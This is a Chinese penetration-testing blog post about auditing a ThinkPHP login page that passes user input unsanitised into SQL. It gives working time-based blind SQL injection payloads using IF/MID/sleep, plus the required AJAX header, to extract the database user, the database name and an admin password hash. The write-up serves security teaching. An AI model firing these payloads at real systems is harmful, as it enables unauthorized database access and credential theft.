学员渗透录三十_thinkphp框架一点审计

暗月博客 2019年11月21日21:28:54评论378 views字数 1165阅读3分53秒阅读模式
摘要

学员渗透录 三十_thinkphp框架开发一点审计 作者:学员一枚  编辑:mOon 博客:www.moonsec.com

学员渗透录三十_thinkphp框架开发一点审计

作者:学员一枚  编辑:mOon 博客:www.moonsec.com

广告:学渗透找暗月暗月欢迎你的到来!


文章很普通就是一些tp开发的没注意的地方,本来不怎么想发在博客的。

但是这个又是学员的审核文章,还是放在学员渗透录吧,毕竟这个系列,还是不没有结束。

正文开始:

某同学的毕业设计 要我帮他审计下代码.用的是TP框架做的一个项目

其中登录处是这样写的

学员渗透录三十_thinkphp框架一点审计

Name  password  post过来的值直接被带入到数据库了 TP默认的Query方法是支持预处理的

学员渗透录三十_thinkphp框架一点审计


但是这位同学没有使用.


那么可以直接控制name字段的sql传入进去.但是他关闭了DEBUG  Trace调试模式.

TP如果关闭调式模式,页面出错是不会输出任何信息的直接空白.那么这个时候就要用到mysql  sleep函数进行 延迟注入了

 

于是要构造一个请求,注意他上面判断了isajax 要在请求头信息里面加上

X-Requested-With: XMLHttpRequest  否则直接return.

 

我们构造的post数据

username= lengkongqi') AND (IF(MID(user(),1,1) = 'r',sleep(10),0))=1#&password=1

//注意r那个必须是单引号 如果是双引号 则他和开始的双引号闭合了 这个$sql 变量报错了 都不会走到数据库

(IF(MID(user(),1,1) = 'r',sleep(10),0))

 

Mysql  If用法If(条件,true,false)

 MID是截取函数类似php里面的substr

如果user第一位数是r则这个sql会执行sleep(10).否则不会sleep则马上返回结果.

 

这样我们就能猜出的用户名了.

 

更改sql来猜他的数据库名

username=lengkongqi') AND (IF(MID(database(),1,1) = 'x',sleep(10),0))=1#&password=1

直接就返回了结果 那么数据库第一位字母不是x

在把x换成p 执行了好久则第一位是p

最后得到他的数据库名是ptwop

 

然后在来猜他的用户表和后台管理员表

一般名称是manage  user  admin

如果不行加上表前缀 表前缀一般是数据库名称  这个数据库名称是ptwop那么表前缀应该是ptwop_ 对应的表名

ptwop_ manage   ptwop_ user   ptwop_ admin

 

username=lengkongqi') AND (IF(MID( (select password from ptwop_ admin where id=1),1,1) = 'x',sleep(10),0))=1#&password=1

然后就可以得到密码及账号.


好评

mOon:开发中 没用预算处理,关闭debug,使用延时注入。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:28:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   学员渗透录三十_thinkphp框架一点审计http://cn-sec.com/archives/72378.html

发表评论

匿名网友 填写信息